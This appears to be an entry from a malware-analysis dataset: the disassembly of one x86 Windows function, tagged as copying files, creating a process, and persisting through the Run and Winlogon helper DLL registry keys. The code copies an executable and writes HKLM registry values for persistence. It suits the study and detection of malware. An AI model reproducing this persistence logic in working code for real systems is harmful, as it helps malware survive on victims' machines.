Function at 0x40f330
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x13
push 0
push 0
dec ecx
jne 0x40f338
push ebx
mov ebx, 0x505d4c
xor eax, eax
push ebp
push 0x40f673
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402824
lea eax, [ebp - 4]
push eax
mov ecx, 0x40f688
mov edx, 0x40f698
mov eax, 0x80000002
call fcn.0040bf90
cmp dword [ebp - 4], 0
jne 0x40f3de
mov eax, 2
call fcn.00402d14
test eax, eax
jne 0x40f3b1
push 0x40f6f4
lea ecx, [ebp - 0x5c]
mov edx, 1
mov eax, 2
call fcn.0040a400
push dword [ebp - 0x5c]
push 0x40f704
mov eax, ebx
mov edx, 3
call fcn.00404098
jmp 0x40f3e8
push 0x40f714
lea ecx, [ebp - 0x60]
mov edx, 1
mov eax, 2
call fcn.0040a400
push dword [ebp - 0x60]
push 0x40f704
mov eax, ebx
mov edx, 3
call fcn.00404098
jmp 0x40f3e8
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00403dbc
push 0
lea eax, [ebp - 0x68]
call fcn.0040e7fc
mov eax, dword [ebp - 0x68]
lea edx, [ebp - 0x64]
call fcn.0040841c
lea eax, [ebp - 0x64]
mov edx, dword [ebx]
call fcn.00403fe0
mov eax, dword [ebp - 0x64]
call fcn.004041d0
push eax
lea edx, [ebp - 0x6c]
xor eax, eax
call fcn.004027c4
mov eax, dword [ebp - 0x6c]
call fcn.004041d0
push eax
call sub.kernel32.dll_CopyFileA
push 0
lea eax, [ebp - 0x74]
call fcn.0040e7fc
mov eax, dword [ebp - 0x74]
lea edx, [ebp - 0x70]
call fcn.0040841c
lea eax, [ebp - 0x70]
mov edx, 0x40f724
call fcn.00403fe0
mov eax, dword [ebp - 0x70]
call fcn.004041d0
push eax
lea edx, [ebp - 0x78]
xor eax, eax
call fcn.004027c4
mov eax, dword [ebp - 0x78]
call fcn.004041d0
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebx]
push eax
mov edx, 0x40f698
mov ecx, 0x40f688
mov eax, 0x80000002
call fcn.0040bef0
cmp byte [0x505d8c], 0
je 0x40f4e9
lea eax, [ebp - 4]
call fcn.00403d68
lea eax, [ebp - 4]
push eax
mov ecx, 0x40f738
mov edx, 0x40f748
mov eax, 0x80000002
call fcn.0040bf90
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
call fcn.004042b8
test eax, eax
jne 0x40f4e9
push dword [ebp - 4]
push 0x40f788
push dword [ebx]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.00404098
mov eax, dword [ebp - 0x7c]
push eax
push 0x40f748
mov ecx, 0x40f738
mov eax, 0x80000002
pop edx
call fcn.0040bef0
lea eax, [ebp - 4]
call fcn.00403d68
lea eax, [ebp - 4]
push eax
mov ecx, 0x40f794
mov edx, 0x40f7ac
mov eax, 0x80000002
call fcn.0040bf90
cmp dword [ebp - 4], 0
jne 0x40f54a
lea eax, [ebp - 0x84]
call fcn.0040e7fc
mov eax, dword [ebp - 0x84]
lea edx, [ebp - 0x80]
call fcn.0040841c
lea eax, [ebp - 0x80]
mov edx, dword [ebx]
call fcn.00403fe0
mov eax, dword [ebp - 0x80]
push eax
mov edx, 0x40f7ac
mov ecx, 0x40f794
mov eax, 0x80000002
call fcn.0040bef0
lea eax, [ebp - 4]
call fcn.00403d68
lea eax, [ebp - 4]
push eax
mov ecx, 0x40f794
mov edx, 0x40f7e4
mov eax, 0x80000002
call fcn.0040bf90
cmp dword [ebp - 4], 0
jne 0x40f5b7
lea eax, [ebp - 0x8c]
call fcn.0040e7fc
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x88]
call fcn.0040841c
lea eax, [ebp - 0x88]
mov edx, 0x40f724
call fcn.00403fe0
mov eax, dword [ebp - 0x88]
push eax
mov edx, 0x40f7e4
mov ecx, 0x40f794
mov eax, 0x80000002
call fcn.0040bef0
lea eax, [ebp - 0x94]
call fcn.0040e7fc
mov eax, dword [ebp - 0x94]
lea edx, [ebp - 0x90]
call fcn.0040841c
mov edx, dword [ebp - 0x90]
mov eax, ebx
mov ecx, dword [ebx]
call fcn.00404024
cmp byte [0x505d8d], 0
jne 0x40f64d
lea edx, [ebp - 0x98]
xor eax, eax
call fcn.004027c4
mov eax, dword [ebp - 0x98]
mov edx, dword [ebx]
call fcn.0040411c
je 0x40f64d
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402cf4
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
mov eax, dword [ebx]
call fcn.004041d0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f67a
lea eax, [ebp - 0x98]
mov edx, 0x10
call fcn.00403d8c
lea eax, [ebp - 4]
call fcn.00403d68
ret